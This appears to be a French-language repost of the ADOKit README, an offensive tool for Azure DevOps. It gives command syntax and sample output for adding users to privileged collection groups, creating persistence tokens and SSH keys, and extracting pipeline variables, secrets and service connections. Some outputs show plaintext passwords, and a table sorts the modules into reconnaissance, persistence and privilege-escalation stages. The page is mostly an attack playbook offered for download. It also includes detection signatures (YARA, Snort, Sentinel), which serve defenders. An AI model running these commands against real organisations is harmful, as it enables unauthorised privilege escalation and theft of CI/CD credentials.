Exemple de sortie```

C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

root@kitploit:~
### Supprimer le compte de service de build de collection

#### Cas d'utilisation

> *Supprimer un utilisateur du groupe Project Collection Build Service Accounts.*

#### Syntaxe

Fournissez le module `removecollectionbuildsvc` avec `/user:` pour un utilisateur donné à supprimer du groupe `Project Collection Build Service Accounts`. De plus, fournissez toutes les informations d'authentification pertinentes et l'URL. Voir [Tableau des détails du module](#module-details-table) pour les autorisations nécessaires pour effectuer cette action.

`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemple de sortie```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:27 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

Ajouter un compte de service de collection

Cas d'utilisation

Ajouter un utilisateur au groupe Project Collection Service Accounts.

Syntaxe

Fournissez le module addcollectionsvc avec un /user: pour qu'un utilisateur donné soit ajouté au groupe Project Collection Service Accounts. Fournissez également toute information d'authentification pertinente et l'URL. Consultez le Tableau des détails du module pour les autorisations nécessaires à cette action.

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Exemple de sortie```

C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
     [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

root@kitploit:~
### Supprimer le compte de service de collection

#### Cas d'utilisation

> *Supprimer un utilisateur du groupe des comptes de service de collection de projet.*

#### Syntaxe

Fournissez le module `removecollectionsvc` avec un paramètre `/user:` pour un utilisateur donné à supprimer du groupe `Project Collection Service Accounts`. De plus, fournissez les informations d'authentification pertinentes et l'URL. Consultez le [Tableau des détails du module](#module-details-table) pour les autorisations nécessaires à cette action.

`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemple de sortie```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

Obtenir les variables de pipeline

Cas d'utilisation

Extraire toutes les variables de pipeline utilisées dans un ou plusieurs projets, qui pourraient contenir des identifiants ou d'autres informations utiles.

Syntaxe

Fournissez le module getpipelinevars avec un /project: pour un projet donné afin d'extraire toutes les variables de pipeline utilisées. Si vous souhaitez extraire les variables de pipeline de tous les projets, spécifiez all dans l'argument /project:.

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Exemple de sortie```

C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/6/2023 12:08:35 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
         Pipeline Var Name |                                 Pipeline Var Value

root@kitploit:~
                credential |                                       P@ssw0rd123!
                       url |                                       http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

root@kitploit:~
### Obtenir les secrets de pipeline

#### Cas d'utilisation

> *Extrayez les noms de tous les secrets de pipeline utilisés dans les projets, ce qui indiquera à l'opérateur où tenter d'extraire les secrets.*

#### Syntaxe

Fournissez le module `getpipelinesecrets` avec un argument `/project:` pour un projet donné afin d'extraire les noms de tous les secrets de pipeline utilisés. Si vous souhaitez extraire les noms des secrets de pipeline de tous les projets, spécifiez `all` dans l'argument `/project:`.

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Exemple de sortie```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpipelinesecrets
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/10/2023 10:28:37 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

             Build Secret Name |   Build Secret Value
-----------------------------------------------------
             anotherSecretPass |             [HIDDEN]
                    secretpass |             [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

Obtenir les groupes de variables

Cas d'utilisation

Extraire tous les groupes de variables et les variables correspondantes utilisées dans un ou plusieurs projets, qui pourraient contenir des identifiants ou d'autres informations utiles.

Syntaxe

Fournissez le module getvariablegroups avec un /project: pour un projet donné afin d'extraire les groupes de variables utilisés. Si vous souhaitez extraire les groupes de variables de tous les projets, spécifiez all dans l'argument /project:.

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Exemple de sortie```

C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"

================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization

Timestamp: 16/05/2024 16:53:31

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
       Variable Group Name |                  Variable Name |                                     Variable Value

root@kitploit:~
       real-test-variables |                  test_password |                                      BurpIsNotBeef
       real-test-variables |                      test_user |                                            nicolas
       fake-prod-variables |                    SUPERSECRET |                                           [HIDDEN]
       fake-prod-variables |                 SUPERNOTSECRET |                             ThisShouldBeSecured :/
root@kitploit:~
### Obtenir les connexions de service

#### Cas d'utilisation

> *Répertorie toutes les connexions de service utilisées dans un ou plusieurs projets, ce qui orientera l'opérateur vers l'endroit où tenter d'extraire les identifiants pour toutes les connexions de service utilisées.*

#### Syntaxe

Fournissez le module `getserviceconnections` avec un `/project:` pour un projet donné afin de répertorier toutes les connexions de service utilisées. Si vous souhaitez lister les connexions de service utilisées dans tous les projets, spécifiez `all` dans l'argument `/project:`.

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Exemple de sortie

C:>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getserviceconnections Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/11/2023 8:34:16 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                         Connection Name |      Connection Type |                                                           ID

root@kitploit:~
                                    Test Connection Name |              generic |                         195d960c-742b-4a22-a1f2-abd2c8c9b228
                                     Not Real Connection |              generic |                         cd74557e-2797-498f-9a13-6df692c22cac

Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04 Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

root@kitploit:~
## Détection

Voici les signatures statiques pour l'utilisation spécifique de cet outil dans son état par défaut :

* GUID du projet - `{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}`
  * Voir [règle Yara ADOKit](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.yar) dans ce dépôt.
* Chaîne User-Agent - `ADOKit-21e233d4334f9703d1a3a42b6e2efd38`
  * Voir [règle Snort ADOKit](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.rules) dans ce dépôt.
* [Règles Microsoft Sentinel](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/Sentinel-Rules)
  * `ADOKitUsage.json` - Détecte l'utilisation d'ADOKit avec tout événement auditable (par exemple, ajouter un utilisateur à un groupe)
  * `PersistenceTechniqueWithADOKit.json` - Détecte la création d'un PAT ou d'une clé SSH avec ADOKit

Pour des conseils de détection des techniques utilisées par l'outil, consultez le [livre blanc](https://www.ibm.com/downloads/cas/5JKAPVYD) de X-Force Red.

## Feuille de route

* Prise en charge d'Azure DevOps Server 

## Références
* `https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1`
* `https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops`
Télécharger l’outil
  • Ajouter un administrateur de collection
  • Supprimer un administrateur de collection
  • Ajouter un administrateur de build de collection
  • Supprimer un administrateur de build de collection
  • Ajouter un compte de service de build de collection
  • Supprimer un compte de service de build de collection
  • Ajouter un compte de service de collection
  • Supprimer un compte de service de collection
  • Obtenir les variables de pipeline
  • Obtenir les secrets de pipeline
  • Obtenir les groupes de variables
  • Obtenir les connexions de service
    • createpat - Crée un jeton d'accès personnel pour l'utilisateur
    • listpat - Liste les jetons d'accès personnels pour l'utilisateur
    • removepat - Supprime le jeton d'accès personnel pour l'utilisateur
    • createsshkey - Crée une clé SSH publique pour l'utilisateur
    • listsshkey - Liste les clés SSH publiques pour l'utilisateur
    • removesshkey - Supprime la clé SSH publique pour l'utilisateur
  • Élévation de privilèges
    • addprojectadmin - Ajoute un utilisateur au groupe "Project Administrators" pour un projet donné
    • removeprojectadmin - Supprime un utilisateur du groupe "Project Administrators" pour un projet donné
    • addbuildadmin - Ajoute un utilisateur au groupe "Build Administrators" pour un projet donné
    • removebuildadmin - Supprime un utilisateur du groupe "Build Administrators" pour un projet donné
    • addcollectionadmin - Ajoute un utilisateur au groupe "Project Collection Administrators"
    • removecollectionadmin - Supprime un utilisateur du groupe "Project Collection Administrators"
    • addcollectionbuildadmin - Ajoute un utilisateur au groupe "Project Collection Build Administrators"
    • removecollectionbuildadmin - Supprime un utilisateur du groupe "Project Collection Build Administrators"
    • addcollectionbuildsvc - Ajoute un utilisateur au groupe "Project Collection Build Service Accounts"
    • removecollectionbuildsvc - Supprime un utilisateur du groupe "Project Collection Build Service Accounts"
    • addcollectionsvc - Ajoute un utilisateur au groupe "Project Collection Service Accounts"
    • removecollectionsvc - Supprime un utilisateur du groupe "Project Collection Service Accounts"
    • getpipelinevars - Récupère toutes les variables de pipeline utilisées pour un projet donné.
    • getpipelinesecrets - Récupère les noms de tous les secrets de pipeline utilisés pour un projet donné.
    • getvariablegroups - Récupère tous les groupes de variables et les variables correspondantes utilisées pour un projet donné.
    • getserviceconnections - Récupère les connexions de service utilisées pour un projet donné.
  • Scénario d'attaqueModuleAutorisations spéciales ?Remarques
    ReconnaissancecheckNon
    ReconnaissancewhoamiNon
    ReconnaissancelistorgsNon
    ReconnaissancelistrepoNon
    ReconnaissancesearchrepoNon
    ReconnaissancelistprojectNon
    ReconnaissancesearchprojectNon
    ReconnaissancesearchcodeNon
    ReconnaissancesearchfileNon
    ReconnaissancelistuserNon
    ReconnaissancesearchuserNon
    ReconnaissancelistteamNon
    ReconnaissancesearchteamNon
    ReconnaissancegetteammembersNon
    ReconnaissancelistgroupNon
    ReconnaissancesearchgroupNon
    ReconnaissancegetgroupmembersNon
    ReconnaissancegetpermissionsNon
    ReconnaissancecredsNon
    ReconnaissancegetbuildlogsOui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators
    ReconnaissancelistbuildlogsOui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators
    ReconnaissancesearchbuildlogsOui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators
    PersistancecreatepatNon
    PersistancelistpatNon
    PersistanceremovepatNon
    PersistancecreatesshkeyNon
    PersistancelistsshkeyNon
    PersistanceremovesshkeyNon
    Élévation de privilègesaddprojectadminOui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesremoveprojectadminOui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesaddbuildadminOui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesremovebuildadminOui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesaddcollectionadminOui - Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesremovecollectionadminOui - Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesaddcollectionbuildadminOui - Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesremovecollectionbuildadminOui - Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesaddcollectionbuildsvcOui - Project Collection Administrator, Project Collection Build Administrators ou Project Collection Service Accounts
    Élévation de privilègesremovecollectionbuildsvcOui - Project Collection Administrator, Project Collection Build Administrators ou Project Collection Service Accounts
    Élévation de privilègesaddcollectionsvcOui - Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesremovecollectionsvcOui - Project Collection Administrator ou Project Collection Service Accounts
    Élévation de privilègesgetpipelinevarsOui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators
    Élévation de privilègesgetpipelinesecretsOui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators
    Élévation de privilègesgetvariablegroupsOui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators
    Élévation de privilègesgetserviceconnectionsOui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts